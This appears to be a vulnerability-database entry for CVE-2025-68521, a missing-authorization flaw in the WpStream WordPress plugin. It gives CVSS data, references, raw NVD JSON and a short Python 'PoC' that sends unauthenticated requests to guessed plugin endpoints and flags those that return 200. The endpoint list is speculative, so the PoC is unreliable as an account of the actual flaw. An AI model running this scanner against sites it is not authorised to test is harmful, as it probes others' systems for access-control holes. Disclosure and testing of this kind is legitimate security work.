CVE-2025-68521

Description

Missing Authorization vulnerability in wpstream WpStream wpstream allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WpStream: from n/a through <= 4.9.5.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WpStream WordPress插件 <= 4.9.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-68521 PoC - WpStream Missing Authorization
# This PoC demonstrates the access control bypass in WpStream plugin

import requests
import sys

def check_vulnerability(target_url):
    """
    Check if target is vulnerable to CVE-2025-68521
    """
    # Common WpStream endpoints that may be affected
    vulnerable_endpoints = [
        '/wp-json/wpstream/v1/',
        '/wp-admin/admin-ajax.php?action=wpstream',
        '/wp-json/wpstream/v1/stream',
        '/wp-json/wpstream/v1/channel'
    ]
    
    for endpoint in vulnerable_endpoints:
        url = target_url.rstrip('/') + endpoint
        try:
            # Send unauthenticated request
            response = requests.get(url, timeout=10, verify=False)
            
            # Check if we get unauthorized access
            if response.status_code == 200:
                print(f'[+] Potential vulnerability at: {url}')
                print(f'[+] Status: {response.status_code}')
                print(f'[+] Response preview: {response.text[:200]}')
                return True
            elif response.status_code == 403:
                print(f'[-] Protected endpoint: {url}')
        except requests.RequestException as e:
            print(f'[-] Error accessing {url}: {e}')
    
    return False

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print('Usage: python cve-2025-68521-poc.py <target_url>')
        sys.exit(1)
    
    target = sys.argv[1]
    print(f'[*] Checking CVE-2025-68521 on {target}')
    check_vulnerability(target)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68521
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68521
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68521/
[4] VulDB https://vuldb.com/cve/CVE-2025-68521
[5] https://patchstack.com/database/Wordpress/Plugin/wpstream/vulnerability/wordpress-wpstream-plugin-4-9-5-broken-access-control-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-68521", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:21.637", "lastModified": "2026-04-27T19:16:27.637", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in wpstream WpStream wpstream allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WpStream: from n/a through <= 4.9.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpstream/vulnerability/wordpress-wpstream-plugin-4-9-5-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}